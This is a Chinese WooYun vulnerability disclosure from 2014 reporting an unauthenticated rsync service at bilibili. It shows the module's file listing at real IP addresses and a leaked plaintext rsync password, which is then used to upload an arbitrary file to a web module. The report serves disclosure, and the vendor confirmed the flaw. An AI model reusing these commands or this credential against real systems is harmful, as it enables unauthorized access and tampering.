当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085829

漏洞标题:bilibili rsync访问控制错误导致数据泄露

相关厂商:bilibili.com

漏洞作者: 盈盈无绪

提交时间:2014-12-04 11:46

修复时间:2015-01-18 11:48

公开时间:2015-01-18 11:48

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-04: 细节已通知厂商并且等待厂商处理中
2014-12-04: 厂商已经确认,细节仅向厂商公开
2014-12-14: 细节向核心白帽子及相关领域专家公开
2014-12-24: 细节向普通白帽子公开
2015-01-03: 细节向实习白帽子公开
2015-01-18: 细节向公众公开

简要描述:

某rsync服务没有合适权限控制,导致文件可访问

详细说明:

rsync 121.52.243.4::websync
drwxr-xr-x 4096 2014/03/14 09:53:57 .
-rw-r--r-- 317 2012/11/29 11:54:39 createKey
-rwxr-xr-x 86 2012/06/14 20:18:07 dropCache
-rwxr-xr-x 417 2013/01/18 20:12:50 nfssync.sh
-rw-r--r-- 3 2014/03/14 09:53:57 pass
-rwx------ 527 2012/01/15 00:56:27 syncApache
-rwx------ 680 2012/01/15 00:51:10 syncConfig
-rwxr-xr-x 266 2012/09/10 15:03:36 syncLVS
-rwxr-xr-x 558 2012/09/03 18:11:26 syncNodeServer
-rwx------ 1366 2012/09/21 22:27:09 syncSLB
文件中又包含了其他rsync服务的密码,导致其他服务可以被访问
cat websync.pas
cyMm6HzcPjxJ5BJj
telnet 121.52.243.12 80
Trying 121.52.243.12...
Connected to 121.52.243.12.
Escape character is '^]'.
GET /root.txt HTTP/1.1
HOST: www.bilibili.com
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 03:31:47 GMT
Content-Type: text/plain
Content-Length: 32
Last-Modified: Thu, 03 Jul 2014 02:50:09 GMT
Connection: keep-alive
X-SLB-Server: hd-slb-2
Accept-Ranges: bytes
9e9fe27b3cef4368e9aa2d33d9d0fbbe
权限可上传任意文件
rsync -avz index.php websync@121.52.243.12::bilibili
sending incremental file list
sent 52 bytes received 11 bytes 42.00 bytes/sec
total size is 2633 speedup is 41.79

漏洞证明:

rsync 121.52.243.4::websync
drwxr-xr-x 4096 2014/03/14 09:53:57 .
-rw-r--r-- 317 2012/11/29 11:54:39 createKey
-rwxr-xr-x 86 2012/06/14 20:18:07 dropCache
-rwxr-xr-x 417 2013/01/18 20:12:50 nfssync.sh
-rw-r--r-- 3 2014/03/14 09:53:57 pass
-rwx------ 527 2012/01/15 00:56:27 syncApache
-rwx------ 680 2012/01/15 00:51:10 syncConfig
-rwxr-xr-x 266 2012/09/10 15:03:36 syncLVS
-rwxr-xr-x 558 2012/09/03 18:11:26 syncNodeServer
-rwx------ 1366 2012/09/21 22:27:09 syncSLB
文件中又包含了其他rsync服务的密码,导致其他服务可以被访问
cat websync.pas
cyMm6HzcPjxJ5BJj
telnet 121.52.243.12 80
Trying 121.52.243.12...
Connected to 121.52.243.12.
Escape character is '^]'.
GET /root.txt HTTP/1.1
HOST: www.bilibili.com
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 03:31:47 GMT
Content-Type: text/plain
Content-Length: 32
Last-Modified: Thu, 03 Jul 2014 02:50:09 GMT
Connection: keep-alive
X-SLB-Server: hd-slb-2
Accept-Ranges: bytes
9e9fe27b3cef4368e9aa2d33d9d0fbbe
权限可上传任意文件
rsync -avz index.php websync@121.52.243.12::bilibili
sending incremental file list
sent 52 bytes received 11 bytes 42.00 bytes/sec
total size is 2633 speedup is 41.79

修复方案:

给rsync加上权限。

版权声明:转载请注明来源 盈盈无绪@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-12-04 22:44

厂商回复:

目前非线上的备用服务器的配置错误导致的严重漏洞

最新状态:

暂无